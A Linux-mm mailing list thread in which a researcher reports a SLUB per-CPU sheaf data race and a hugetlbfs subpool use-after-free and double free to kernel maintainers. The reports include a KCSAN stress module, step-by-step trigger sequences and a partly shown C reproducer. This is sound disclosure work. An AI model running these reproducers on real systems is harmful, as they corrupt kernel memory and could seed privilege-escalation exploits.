Linux-mm Archive on lore.kernel.org
 help / color / mirror / Atom feed
* mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN  blind spot: slub.o is uninstrumented)
       [not found] ` <2026102727-data-sequel-ce41@gregkh>
@ 2026-11-03 11:21   ` 徐晗翔
  2026-11-04  9:41     ` Qing Wang
  2026-11-22  7:37   ` mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF) 徐晗翔
  1 sibling, 1 reply; 5+ messages in thread
From: 徐晗翔 @ 2026-11-03 11:21 UTC (permalink / raw)
  To: vbabka, harry, akpm; +Cc: linux-mm, linux-kernel

[-- Attachment #1: Type: text/plain, Size: 4809 bytes --]

flush_all_cpus_locked() calls has_pcs_used() for every CPU to decide
which flush work to skip, reading each remote CPU's pcs->spare /
pcs->rcu_free and dereferencing pcs->main->size -- all locklessly
(mm/slub.c:4041-4051, inlined into flush_all_cpus_locked) -- while
the owning CPU's alloc/free fast paths mutate exactly those fields
under only the per-CPU sheaf lock (pcs->main->size++/--, the
pcs->main pointer swap in __pcs_replace_empty_main, etc.).  The
reader runs from kmem_cache_shrink() (sysfs shrink attribute, memory
offline) and is, as far as I can enumerate, the only cross-CPU
consumer of this state outside the sysfs slabinfo walkers (excluded
-- they read other fields under a different protocol).  I verified
the race with KCSAN after discovering why nobody has ever seen it
reported: mm/Makefile sets KCSAN_SANITIZE_slub.o := n, so BOTH sides
of this race are structurally invisible to KCSAN on any stock kernel
(verified at the disassembly level: the four accesses in
flush_all_cpus_locked compile to bare cmp/mov with zero __tsan
calls).  On a diagnostic build that only flips that Makefile switch
(no source change), a shrink+churn workload on a dedicated cache
produces 436 reader-pair reports covering all five writer families,
including an 8-byte pcs->main pointer swap with an explicit "value
changed" line -- the snapshot prerequisite of the (extremely
unlikely, source-argued) use-after-free chain: a stale pcs->main can
outlive its sheaf's retirement (spare -> rcu_free -> call_rcu ->
kfree) if the reader is preempted between load and dereference.  The
practical impact of the race itself is a wrong skip decision in
sfw->skip; the fix is to move the emptiness check into the target
CPU's flush callback, where the state is local and locked.

The detailed description:

* The race (Linux 7.3, mm/slub.c)

  Reader (inline has_pcs_used, from flush_all_cpus_locked, called by
  __kmem_cache_shrink / kmem_cache_shrink -- sysfs "shrink" and
  memory offline, privileged):
      reads pcs->spare, pcs->rcu_free, pcs->main, pcs->main->size of
      REMOTE cpus, holding no lock on that cpu's sheaf.

  Writers (per-CPU fast paths under the sheaf lock of their own cpu):
      alloc/free paths' main->size++/-- (kmem_cache_free's free_to_pcs,
      bulk variants' size += batch, alloc's size--), and
      __pcs_replace_empty_main's pcs->main = full / pcs->spare = old
      pointer stores.

  Sheaves are enabled by default (no slub_debug boot param needed).

* Why KCSAN has never reported it (part of the finding)

  mm/Makefile:15 KCSAN_SANITIZE_slub.o := n excludes the entire file
  from instrumentation on both sides.  nm/disassembly on a stock 7.3
  KCSAN kernel: has_pcs_used is inlined into flush_all_cpus_locked
  and the four accesses at +0x166/+0x173 etc. have no __tsan_* calls
  around them.  So "no KCSAN report" is not evidence of absence for
  anything inside slub.o; this race was invisible by construction.

* Evidence (KCSAN, stock-vs-diagnostic A/B; reproducer attached)

  - Stock kernel: three runs, zero reports (structurally, as above).
  - Diagnostic kernel (ONLY the Makefile switch flipped, source
    untouched): dedicated non-mergeable cache, 3 churn threads
    (single+bulk8 alloc/free) + 2 shrink threads -> 436 reader-pair
    reports, all five writer families:
      * size field (4 bytes, same address across CPUs):
        read by flush_all_cpus_locked+0x173 (shrink, cpu 3) vs
        read-write kmem_cache_free_bulk+0x90a (churn, cpu 1)
      * pcs->main pointer (8 bytes): write by
        __pcs_replace_empty_main+0x5c1 (pcs->main = full) vs read by
        flush_all_cpus_locked+0x166, KCSAN printing
        "value changed: ...0300 -> ...78800" -- the reader observed
        the sheaf pointer being concurrently replaced, i.e. the
        stale-snapshot precondition of the UAF chain, live.
  - Control (same diagnostic kernel, churn-only, shrink=0): zero
    reader-pair reports -- the reports are caused by the shrink-side
    reader, not by the churn load.
  - Honest limits: the (c)-layer UAF read (stale pcs->main surviving
    the retirement chain during a preempted reader) is source-argued,
  not dynamically triggered -- it needs a millisecond-scale preemption
  of the reader landing inside a retirement window; KCSAN demonstrates
  the racing accesses and the pointer-swap visibility, which is the
  right tool's right scope.

  Reproducer (attached fxslub.c): registers a private cache with a
  ctor (non-mergeable, sheaf-enabled) and hammers
  kmem_cache_shrink() from N threads while other threads churn
  single+bulk allocations.  On a KCSAN kernel with slub.o
  instrumented it produces the reports above within minutes; on a
  stock kernel it demonstrably cannot (that is the point).


Regards,
Hanxiang Xu
xuhx@hust.edu.cn

[-- Attachment #2: fxslub.c --]
[-- Type: text/plain, Size: 6525 bytes --]

// SPDX-License-Identifier: GPL-2.0
/*
 * fxslub.c - KCSAN hammer for Case 1 of the kernel/futex manual audit:
 *
 *   has_pcs_used() (mm/slub.c:4041-4051) reads remote per-CPU sheaf state
 *   (pcs->spare / pcs->rcu_free / pcs->main->size) with no lock and no
 *   annotation from flush_all_cpus_locked() during kmem_cache_shrink(),
 *   racing the owning CPU's local_trylock-protected writers
 *   (free_to_pcs / alloc_from_pcs / __free_to_pcs_batch /
 *    __pcs_replace_empty_main / __pcs_replace_full_main /
 *    __kfree_rcu_sheaf ...).
 *
 * Method: dedicated unmergeable cache (ctor) + churn kthreads pinned on
 * CPUs 0..N-1 driving all sheaf write paths (single fastpath, bulk, and
 * kfree_rcu batching) + shrink kthreads looping kmem_cache_shrink() on
 * other CPUs. No kernel source modification; EXPORTED APIs only.
 *
 * Params:
 *   churn_threads  - pinned per-CPU alloc/free/rcu threads (default 6)
 *   shrink_threads - kmem_cache_shrink() loopers (default 2, cpus 6,7)
 *   shrink         - 1 enable shrink loop (fx1), 0 negative control (fx1ctl)
 *   secs           - self-reported runtime budget hint for /init (default 90)
 */
#define pr_fmt(fmt) "FXSLUB: " fmt

#include <linux/module.h>
#include <linux/kthread.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <linux/rcupdate.h>
#include <linux/cpu.h>
#include <linux/nodemask.h>
#include <linux/mm.h>

static int churn_threads = 6;
static int shrink_threads = 2;
static bool shrink = true;
static int secs = 90;

module_param(churn_threads, int, 0);
module_param(shrink_threads, int, 0);
module_param(shrink, bool, 0);
module_param(secs, int, 0);

struct fxobj {
	struct rcu_head rcu;
	char pad[512 - sizeof(struct rcu_head)];
};

static struct kmem_cache *fxcache;
static struct task_struct *churn_task[8];
static struct task_struct *shrink_task[4];
static atomic_t stop_flag;

static atomic64_t n_alloc, n_bulk, n_rcu, n_shrink, n_free_single;

/* ctor => unmergeable => dedicated sheaves/barns for this cache */
static void fx_ctor(void *p) { }

static int fx_churn(void *arg)
{
	void *bulk[8];
	struct fxobj *o;
	int n;

	while (!kthread_should_stop() && !atomic_read(&stop_flag)) {
		/* single fastpath: pcs->main->size ++/-- on this cpu */
		o = kmem_cache_alloc(fxcache, GFP_KERNEL);
		if (o) {
			atomic64_inc(&n_alloc);
			kmem_cache_free(fxcache, o);
			atomic64_inc(&n_free_single);
		}

		/* bulk: drives __pcs_replace_empty_main / free_to_pcs_bulk /
		 *       barn traffic (pcs->main/spare pointer stores).
		 * Bulk size 8 (not 32): smaller batches keep the free-side
		 * barn_replace_full_sheaf() rate (whose MAX_FULL_SHEAVES check
		 * is outside barn->lock by design) from stacking unboundedly
		 * under KCSAN-widened check->lock gaps (attempt4: 5.8GB of
		 * freed objects parked in barn sheaves -> OOM). */
		n = kmem_cache_alloc_bulk(fxcache, GFP_KERNEL, 8, bulk);
		if (n > 0) {
			atomic64_add(n, &n_bulk);
			kmem_cache_free_bulk(fxcache, n, bulk);
		}

		/* memory watermark throttle: barn parking of freed objects is
		 * only soft-bounded (see above); do not let the hammer OOM the VM */
		if (si_mem_available() < (512UL << 20 >> PAGE_SHIFT))
			msleep(100);

		/*
		 * No kfree_rcu phase: for a non-kmalloc cache, kfree_rcu() takes
		 * the per-object call_rcu(kvfree_rcu_cb) path (NOT the sheaf
		 * batching), so it contributes nothing to the sheaf-state writers
		 * under test while its RCU backlog grows without bound under
		 * KCSAN taxation (attempt3: 5.8GB unreclaimable, OOM panic).
		 * All target writers (free_to_pcs / alloc_from_pcs /
		 * __pcs_replace_*) are driven by the single+bulk churn above.
		 */

		if (!(atomic64_read(&n_alloc) & 0xfff))
			cond_resched();
	}
	return 0;
}

static int fx_shrink(void *arg)
{
	while (!kthread_should_stop() && !atomic_read(&stop_flag)) {
		kmem_cache_shrink(fxcache);
		atomic64_inc(&n_shrink);
		cond_resched();
	}
	return 0;
}

static int __init fxslub_init(void)
{
	long i;
	int ret;

	fxcache = kmem_cache_create("fxsheaf", sizeof(struct fxobj), 0,
				    SLAB_PANIC, fx_ctor);
	if (!fxcache)
		return -ENOMEM;

	if (churn_threads > 8)
		churn_threads = 8;
	if (shrink_threads > 4)
		shrink_threads = 4;

	pr_info("cache fxsheaf created, churn=%d shrink=%d(%s) secs=%d\n",
		churn_threads, shrink_threads,
		shrink ? "on" : "OFF (negative control)", secs);

	for (i = 0; i < churn_threads; i++) {
		struct task_struct *t = kthread_create(fx_churn, (void *)i,
						       "fxchurn/%ld", i);
		if (IS_ERR(t)) { ret = PTR_ERR(t); goto err; }
		kthread_bind(t, i % nr_cpu_ids);
		wake_up_process(t);
		churn_task[i] = t;
	}

	if (shrink) {
		for (i = 0; i < shrink_threads; i++) {
			struct task_struct *t = kthread_create(fx_shrink, (void *)i,
							       "fxshrink/%ld", i);
			if (IS_ERR(t)) { ret = PTR_ERR(t); goto err; }
			kthread_bind(t, (churn_threads + i) % nr_cpu_ids);
			wake_up_process(t);
			shrink_task[i] = t;
		}
	}

	pr_info("threads running\n");
	return 0;
err:
	atomic_set(&stop_flag, 1);
	for (i = 0; i < 8; i++)
		if (churn_task[i])
			kthread_stop(churn_task[i]);
	kmem_cache_destroy(fxcache);
	return ret;
}

static void __exit fxslub_exit(void)
{
	int i;

	atomic_set(&stop_flag, 1);
	for (i = 0; i < 8; i++)
		if (churn_task[i])
			kthread_stop(churn_task[i]);
	for (i = 0; i < 4; i++)
		if (shrink_task[i])
			kthread_stop(shrink_task[i]);

	pr_info("totals: shrink_calls=%lld allocs=%lld bulk=%lld rcu=%lld single_free=%lld\n",
		atomic64_read(&n_shrink), atomic64_read(&n_alloc),
		atomic64_read(&n_bulk), atomic64_read(&n_rcu),
		atomic64_read(&n_free_single));
	/* see comment below before any future re-addition of destroy */

	/*
	 * The cache is deliberately NOT destroyed: kfree_rcu() from a non-
	 * kmalloc cache queues one call_rcu(kvfree_rcu_cb) per object
	 * (kvfree_call_rcu(), mm/slab_common.c), and those callbacks free back
	 * into per-CPU sheaves; draining ~200k of them under KCSAN taxation
	 * takes minutes and then floods "Objects remaining on
	 * __kmem_cache_shutdown()" warnings (observed: 1441/1604 warnings in
	 * the first two control attempts). That noise is a module-contract
	 * artifact, irrelevant to the race under test; this VM is throwaway,
	 * so we leak the idle cache and keep the log clean.
	 */
	pr_info("leaking idle cache fxsheaf (teardown noise avoided)\n");
	pr_info("cache destroyed, module out\n");
}

module_init(fxslub_init);
module_exit(fxslub_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("KCSAN hammer: has_pcs_used() vs per-CPU sheaf writers (audit Case 1)");

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN  blind spot: slub.o is uninstrumented)
  2026-11-03 11:21   ` mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN blind spot: slub.o is uninstrumented) 徐晗翔
@ 2026-11-04  9:41     ` Qing Wang
  2026-11-04 10:07       ` Qing Wang
  0 siblings, 1 reply; 5+ messages in thread
From: Qing Wang @ 2026-11-04  9:41 UTC (permalink / raw)
  To: xuhx, Vlastimil Babka, Harry Yoo, Andrew Morton, Hao Li,
	Christoph Lameter, David Rientjes, Roman Gushchin
  Cc: linux-mm, linux-kernel

On Tue, 03 Nov 2026 at 19:21, 徐晗翔 <xuhx@hust.edu.cn> wrote:
> flush_all_cpus_locked() calls has_pcs_used() for every CPU to decide
> which flush work to skip, reading each remote CPU's pcs->spare /
> pcs->rcu_free and dereferencing pcs->main->size -- all locklessly
> (mm/slub.c:4041-4051, inlined into flush_all_cpus_locked) -- while
> the owning CPU's alloc/free fast paths mutate exactly those fields
> under only the per-CPU sheaf lock (pcs->main->size++/--, the
> pcs->main pointer swap in __pcs_replace_empty_main, etc.).  The
> reader runs from kmem_cache_shrink() (sysfs shrink attribute, memory
> offline) and is, as far as I can enumerate, the only cross-CPU
> consumer of this state outside the sysfs slabinfo walkers (excluded
> -- they read other fields under a different protocol).  I verified
> the race with KCSAN after discovering why nobody has ever seen it
> reported: mm/Makefile sets KCSAN_SANITIZE_slub.o := n, so BOTH sides
> of this race are structurally invisible to KCSAN on any stock kernel
> (verified at the disassembly level: the four accesses in
> flush_all_cpus_locked compile to bare cmp/mov with zero __tsan
> calls).  On a diagnostic build that only flips that Makefile switch
> (no source change), a shrink+churn workload on a dedicated cache
> produces 436 reader-pair reports covering all five writer families,
> including an 8-byte pcs->main pointer swap with an explicit "value
> changed" line -- the snapshot prerequisite of the (extremely
> unlikely, source-argued) use-after-free chain: a stale pcs->main can
> outlive its sheaf's retirement (spare -> rcu_free -> call_rcu ->
> kfree) if the reader is preempted between load and dereference.  The
> practical impact of the race itself is a wrong skip decision in
> sfw->skip; the fix is to move the emptiness check into the target
> CPU's flush callback, where the state is local and locked.

You're right, there is a data race in has_pcs_used() reading the pcs
fields.  The possible consequences:

1. has_pcs_used() observes an empty pcs and sets sfw->skip, so the
   flush is skipped and the memory is not freed in time.
2. A very unlikely UAF: the reader loads pcs->main, and the old sheaf
   is freed before ->size is dereferenced.

For the fix: could we simply drop the has_pcs_used() check?  The cost
is some extra workqueue overhead — flush work would be queued even on
CPUs whose sheaves are empty.

--
Best regards,
Qing


^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN  blind spot: slub.o is uninstrumented)
  2026-11-04  9:41     ` Qing Wang
@ 2026-11-04 10:07       ` Qing Wang
  0 siblings, 0 replies; 5+ messages in thread
From: Qing Wang @ 2026-11-04 10:07 UTC (permalink / raw)
  To: xuhx, Vlastimil Babka, Harry Yoo, Andrew Morton, Hao Li,
	Christoph Lameter, David Rientjes, Roman Gushchin
  Cc: linux-mm, linux-kernel

On Wed, 04 Nov 2026 at 17:41, Qing Wang <wangqing7171@gmail.com> wrote:
> You're right, there is a data race in has_pcs_used() reading the pcs
> fields.  The possible consequences:
> 
> 1. has_pcs_used() observes an empty pcs and sets sfw->skip, so the
>    flush is skipped and the memory is not freed in time.

Sorry, I didn't state point 1 correctly.  It should be:

has_pcs_used() reads main->size as 0 before the concurrent free
increments it, so sfw->skip is wrongly set and the memory is not
reclaimed in time.

--
Best regards,
Qing


^ permalink raw reply	[flat|nested] 5+ messages in thread

* mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)
       [not found] ` <2026102727-data-sequel-ce41@gregkh>
  2026-11-03 11:21   ` mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN blind spot: slub.o is uninstrumented) 徐晗翔
@ 2026-11-22  7:37   ` 徐晗翔
  2026-11-22 15:58     ` David Hildenbrand (Arm)
  1 sibling, 1 reply; 5+ messages in thread
From: 徐晗翔 @ 2026-11-22  7:37 UTC (permalink / raw)
  To: muchun.song, osalvador, akpm; +Cc: david, linux-mm, linux-kernel

[-- Attachment #1: Type: text/plain, Size: 11659 bytes --]

A hugetlbfs mount that sets only min_size= (no size=) leaves
hugepage_subpool::used_hpages unmaintained and clamps ::rsv_hpages to
min_hpages, so subpool_is_free() can report "free" while folios that
still carry the subpool pointer are in flight.  The destroy decision is
taken under spool->lock but the field reads, hugetlb_acct_memory() and
kfree() happen after the unlock, and only superblock handles are counted
(spool->count), not folios.  A page that a user pinned with vmsplice()
outlives evict_inodes() and put_super(); when the pin is finally released,
free_huge_folio() calls hugepage_subpool_put_pages() on the freed object:
it spin_lock_irqsave()s the freed slab and dereferences spool->hstate /
spool->min_hpages.  KASAN reports slab-use-after-free at the lock
acquisition; on a kernel without KASAN/quarantine the same path reaches a
second kfree(spool) and hugetlb_acct_memory(h, -min_hpages), i.e. a
double free plus an unsigned underflow of hstate.resv_huge_pages.  The
whole PoC-A sequence is single-threaded and deterministic - no race
window needs to be widened - and three variants reproduce on 7.3.

The detailed description:

* Test environment / affected version

  Linux version 7.3.0 #6 SMP PREEMPT_DYNAMIC (gcc 13.3.0), built from the
  unmodified release tree used for the audit:
  mm/hugetlb.c md5 cea0533ab009942534c1da41717ec926,
  fs/hugetlbfs/inode.c md5 c63e24ddfa05e6d43ef89dfcb91da251.
  Config: CONFIG_KASAN=y, CONFIG_KASAN_GENERIC=y, CONFIG_KASAN_OUTLINE=y,
  CONFIG_KASAN_STACK=y, CONFIG_HUGETLBFS=y, CONFIG_HUGETLB_PAGE=y.
  QEMU/KVM x86_64 guest, 4 vCPU / 4 GiB, booted with
  "hugepages=8 default_hugepagesz=2M" (8 x 2 MiB pages available).
  All line numbers below are from that tree.

* Mechanism

  Three layers combine; each one alone would be survivable.

  1) In a min-only subpool the accounting is no longer tied to folios.
     hugepage_subpool_get_pages() only maintains used_hpages inside the
     "if (spool->max_hpages != -1)" branch (mm/hugetlb.c:213-219), and its
     min branch only runs "if (spool->min_hpages != -1 && spool->rsv_hpages)"
     (:222-231); with rsv_hpages == 0 it returns the initial ret = delta
     and records nothing.  hugepage_subpool_put_pages() therefore sees
     used_hpages == 0 forever, executes the min branch on every put
     (:265-276), adds delta back to rsv_hpages and clamps it to min_hpages
     (:268-269).  Consequently subpool_is_free() (:129-139) degenerates to
     "rsv_hpages == min_hpages" and keeps returning true after the first
     put.  The comment at :270-273 explicitly acknowledges that put_super
     may not be able to free the spool because pages are still out, and
     defers the free to the page path - i.e. pages outliving the
     superblock is a designed-for situation, but the code only counts
     superblock handles, not the pages.

  2) The folio keeps a raw pointer, and count tracks only superblock
     handles.  spool->count is set to 1 in hugepage_new_subpool() (:169)
     and decremented only in hugepage_put_subpool() (:192); its only
     callers are hugetlbfs_put_super() (fs/hugetlbfs/inode.c:1131, in the
     code next to :1132) and the fill_super error path (fs/hugetlbfs/inode.c:1421).
     Meanwhile alloc_hugetlb_folio() unconditionally stores the bare
     pointer with hugetlb_set_folio_subpool(folio, spool)
     (mm/hugetlb.c:3043), and free_huge_folio() copies it into a local
     before clearing the folio field (mm/hugetlb.c:1681, :1688, :1710), so
     clearing the field cannot save the later user.

  3) The destroy decision and the destroy action are not one atomic step.
     unlock_or_release_subpool() (mm/hugetlb.c:141-157):

         bool free_subpool = subpool_is_free(spool);      /* :144, lock held */
         spin_unlock_irqrestore(&spool->lock, irq_flags); /* :149 */
         if (free_subpool) {
                 if (spool->min_hpages != -1)             /* :152 */
                         hugetlb_acct_memory(spool->hstate, /* :153 */
                                             -spool->min_hpages);
                 kfree(spool);                            /* :155 */
         }

     There is no "dying" flag and no ownership claim, so a second entrant
     that computed free_subpool == true before the first kfree() (or any
     later entrant that runs after it) reads spool->hstate and
     spool->min_hpages from freed memory and kfree()s the same object
     again.  hugetlb_acct_memory() itself drops and retakes
     hugetlb_lock inside return_unused_surplus_pages()
     (mm/hugetlb.c:2347-2388, with update_and_free_pages_bulk() in the
     middle), which makes the post-unlock window schedulable.

  The page-cache reference accounting is the reason a page can be the
  last user: insertion in hugetlb_add_to_page_cache() clears
  restore_reserve (mm/hugetlb.c:5715), so the folio's free path always
  takes the hugepage_subpool_put_pages() branch (:1703-1712); the page
  cache itself holds folio_nr_pages() references
  (mm/filemap.c:848-950, folio_ref_add(folio, 512) for a 2 MiB page) and
  removal drops exactly that many (mm/filemap.c:230-240); the faulting
  PTE reference is returned by the zap path, whose mmu-gather entry puts
  one reference (mm/mmu_gather.c:214-217, mm/folio.c:91-108,
  mm/filemap.c:1052-1078).  With an extra vmsplice() pin
  (fs/splice.c:1447-1495, lib/iov_iter.c:1063-1128, released by
  fs/splice.c:108-113 -> put_page()), evict_inodes()
  (fs/super.c:737) removes the page-cache reference but the folio
  survives, put_super() (fs/super.c:750-751 -> fs/hugetlbfs/inode.c:1125-1136)
  frees the spool, and the later unpin reaches free_huge_folio() with a
  dangling spool.

  Concrete PoC-A sequence (all as root, single thread):
    1. mount -t hugetlbfs -o min_size=0 none /mnt/huge
       (min_size=0 is accepted: fs/hugetlbfs/inode.c:1270-1345 parses it,
       :1245-1265 turns it into min_hpages = 0, :1345-1370 only rejects
       min > max when max was given; the spool is created at
       fs/hugetlbfs/inode.c:1396-1402)
    2. ftruncate(fd, 2M); mmap(..., MAP_SHARED); fault page 0 (allocates a
       folio, stores the subpool pointer, adds it to the page cache)
    3. vmsplice(pipe[1], {addr, 4096}, 1, 0)     - pin one 4 KiB subpage
    4. munmap(); close(fd)                       - zap returns the PTE ref,
       evict_inode removes the page-cache refs and calls
       hugetlb_unreserve_pages() (fs/hugetlbfs/inode.c:552-591); the folio
       still has the pin
    5. umount                                      - evict_inodes() finds
       nothing to evict, hugetlbfs_put_super() drops the last handle,
       subpool_is_free() is true (rsv_hpages == min_hpages == 0),
       hugetlb_acct_memory(h, 0) is a no-op and kfree(spool) runs
    6. read(pipe[0], ...)                          - put_page() drops the
       last reference -> free_huge_folio() -> hugepage_subpool_put_pages()
       spins on and reads the freed object

  PoC-B is the same with min_size=2M: mmap 4M, fault+pin page 0 only,
  ftruncate(fd, 2M) puts rsv_hpages back to min_hpages through
  hugetlb_unreserve_pages() -> hugepage_subpool_put_pages()
  (mm/hugetlb.c:6861-6900), then the same close/umount/unpin sequence.
  Because min_hpages == 1, the second destroy also calls
  hugetlb_acct_memory(h, -1), and struct hstate::resv_huge_pages is an
  unsigned long (include/linux/hugetlb.h:667), so it underflows to
  2^64-1.


* Reproducer (attached: hugsp1.c) and results on 7.3

  hugsp1.c is a self-contained static userspace program; no kernel
  modification and no module needed.  It mounts hugetlbfs itself and has
  four modes: poca (min_size=0), pocb (min_size=2M + ftruncate),
  poca2 (two pinned pages) and ctl (negative control that unpins before
  umount).

    # build
    gcc -O2 -static -o hugsp1 hugsp1.c
    # boot the KASAN kernel with: hugepages=8 default_hugepagesz=2M
    # run (as root, in the guest)
    ./hugsp1 ctl        # expect: "ctl done", no KASAN report
    ./hugsp1 poca       # expect: slab-use-after-free after umount
    ./hugsp1 pocb       # same, plus acct(-min) -> resv_huge_pages underflow
    ./hugsp1 poca2      # two delayed frees

  Observed on the 7.3.0 KASAN guest (single-shot run, panic on first
  report; KASAN multi_shot=1 runs show the same report repeatedly):

    - poca : 1 report at 15.583 s, "BUG: KASAN: slab-use-after-free in
             _raw_spin_lock_irqsave+0x77/0xe0", "Write of size 4" - the
             queued_spin_lock() inside hugepage_subpool_put_pages();
             allocation stack: hugepage_new_subpool+0x37/0xd0 <-
             hugetlbfs_fill_super+0x16b/0x390 <- path_mount <- __x64_sys_mount;
             free stack: kfree <- hugetlbfs_put_super+0x3e/0x50 <-
             generic_shutdown_super <- kill_anon_super <- cleanup_mnt;
             use stack: hugepage_subpool_put_pages.part.0+0x19/0x1c0 <-
             free_huge_folio+0x13e/0x2f0 <- __folio_put+0x13b/0x150 <-
             page_cache_pipe_buf_release+0x7d/0xa0 <- anon_pipe_read+
             0x290/0x630 (the "kfree <- hugetlbfs_put_super+0x3e" shape is
             the tail call jmp from hugepage_put_subpool()).
    - pocb : same report at 13.929 s.
    - poca2: same report at 14.400 s.
    - ctl  : 0 KASAN reports (the pin is released while count == 1, so
             subpool_is_free() is false and nothing is freed).
    - a 70 s multi_shot run produced 51 reports plus a spin-loop hang
             (8452 printk messages dropped, VM killed by the harness
             timeout): the freed object is re-used by KASAN's quarantine
             metadata, which overwrites spool->lock and leaves the lock
             slot non-zero, so the second-entrant path spins forever
             instead of reaching the second kfree().

  With CONFIG_KASAN=n the same unpin path is expected to reach the second
  kfree(spool) (and, for min_size>0, hugetlb_acct_memory(h, -1) which
  subtracts from an unsigned long).  The audit report includes a
  line-by-line model of that path and a self-check list (it is not
  claimed as dynamically observed here).



* Suggested direction 

  The fix needs both layers, otherwise each half leaves the other open:

  (a) make the destroy decision account for folios, not just superblock
      handles.  Either maintain used_hpages for every folio regardless of
      max_hpages (and let subpool_is_free() require used_hpages == 0), or
      add an active_folios counter incremented in
      hugetlb_set_folio_subpool()/alloc_hugetlb_folio() and decremented in
      free_huge_folio(); in min-only mode subpool_is_free() must not
      become true while any folio still references the spool.

  (b) make destroy ownership atomic.  Take a "dying" bit under spool->lock
      in unlock_or_release_subpool(), and let only the context that
      transitions from live to dying read min_hpages/hstate, call
      hugetlb_acct_memory() and kfree(); every other entrant must return
      without touching the object after the unlock.  The current shape
      (decide under lock, act after unlock, no claim) is a UAF even
      without the accounting bug.

  (c) preferably do not store a bare spool pointer in a folio at all
      (reference-count the subpool per folio, or make the unmap/put path
      drain before the superblock goes away); as defense in depth,
      WARN_ONCE when a folio still carries a subpool pointer at put_super()
      time would have made this visible in testing.

  Happy to test any proposal; the reproducer and the KASAN logs are small
  and repeatable.


  Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
xuhx@hust.edu.cn

[-- Attachment #2: hugsp1.c --]
[-- Type: text/plain, Size: 7143 bytes --]

/*
 * hugsp1.c - userspace reproducer for MM-HUGETLB-SP-01
 * ("hugetlbfs minimum-only subpool lifetime race": slab-use-after-free +
 *  double-free in hugepage_subpool_put_pages()/unlock_or_release_subpool()).
 *
 * Static build:
 *   gcc -O2 -static -o hugsp1 hugsp1.c
 *
 * Modes:
 *   poca   mount -o min_size=0; one page; fault it; pin one 4K sub-page with
 *          vmsplice(); unmap; close; umount (page still pinned -> folio
 *          outlives superblock, spool is kfree()d by hugepage_put_subpool());
 *          then read the pipe -> put_page -> free_huge_folio() uses the
 *          freed spool.
 *   pocb   mount -o min_size=2M; 4M mmap, only page 0 faulted+pinned;
 *          ftruncate to 2M (unreserve puts rsv_hpages back to min_hpages);
 *          close; umount -> same as poca but acct(-min) also underflows the
 *          global hstate.resv_huge_pages.
 *   poca2  two pages pinned, both released after umount (two delayed frees).
 *   ctl    negative control: same as poca but unpin before umount.
 *
 * On a KASAN kernel the expected reports are
 *   BUG: KASAN: slab-use-after-free in hugepage_subpool_put_pages
 *   BUG: KASAN: double-free in kfree
 */
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/uio.h>

#define HPAGE	(2UL * 1024 * 1024)	/* default huge page size on x86-64 */
#define PINLEN	4096

static int pipefd[2] = { -1, -1 };
static char drainbuf[PINLEN * 4];

static void die(const char *what)
{
	printf("HUGSP1: FAIL %s: errno=%d (%s)\n", what, errno, strerror(errno));
	exit(1);
}

static void check_hugepages(void)
{
	FILE *f = fopen("/proc/meminfo", "r");
	char line[256];
	long total = -1;

	if (!f)
		return;
	while (fgets(line, sizeof(line), f)) {
		if (sscanf(line, "HugePages_Total: %ld", &total) == 1)
			break;
	}
	fclose(f);
	printf("HUGSP1: HugePages_Total=%ld Hugepagesize=%lukB\n", total,
	       HPAGE / 1024);
	if (total <= 0) {
		printf("HUGSP1: FAIL no huge pages reserved at boot\n");
		exit(1);
	}
}

static void setup_mount(const char *opts)
{
	mkdir("/mnt", 0755);
	if (mkdir("/mnt/huge", 0755) && errno != EEXIST)
		die("mkdir /mnt/huge");
	if (mount("none", "/mnt/huge", "hugetlbfs", 0, opts))
		die("mount hugetlbfs");
	printf("HUGSP1: mounted hugetlbfs (\"%s\")\n", opts);
}

static void make_pipe(void)
{
	if (pipe(pipefd))
		die("pipe");
}

static void pin_page(const void *addr, const char *tag)
{
	struct iovec iov;
	ssize_t n;

	iov.iov_base = (void *)addr;
	iov.iov_len = PINLEN;
	n = vmsplice(pipefd[1], &iov, 1, 0);
	if (n != PINLEN) {
		printf("HUGSP1: vmsplice(%s) -> %zd errno=%d (%s)\n", tag, n,
		       errno, strerror(errno));
		exit(1);
	}
	printf("HUGSP1: pinned 4K at %p via vmsplice (%s)\n", addr, tag);
}

static void drain_pin(const char *tag)
{
	ssize_t n;

	fflush(stdout);
	n = read(pipefd[0], drainbuf, PINLEN);
	printf("HUGSP1: drained %zd bytes from pipe (%s) -> put_page\n", n, tag);
	fflush(stdout);
}

static void close_pipe(void)
{
	if (pipefd[0] >= 0)
		close(pipefd[0]);
	if (pipefd[1] >= 0)
		close(pipefd[1]);
	pipefd[0] = pipefd[1] = -1;
}

static int do_umount(void)
{
	if (umount2("/mnt/huge", 0) == 0)
		return 0;
	printf("HUGSP1: umount -> errno=%d (%s), retry MNT_DETACH\n", errno,
	       strerror(errno));
	return umount2("/mnt/huge", MNT_DETACH);
}

/*
 * poca: mount min_size=0, fault one huge page, pin it, unmap, close, umount,
 * then release the pin.  By the time the pin is released the superblock and
 * the hugepage_subpool object are gone, but the pinned folio still carries
 * the (now dangling) spool pointer.
 */
static void run_poca(int two_pages)
{
	void *p, *p2 = NULL;
	int fd;

	setup_mount("min_size=0");
	make_pipe();
	fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
	if (fd < 0)
		die("open /mnt/huge/f");
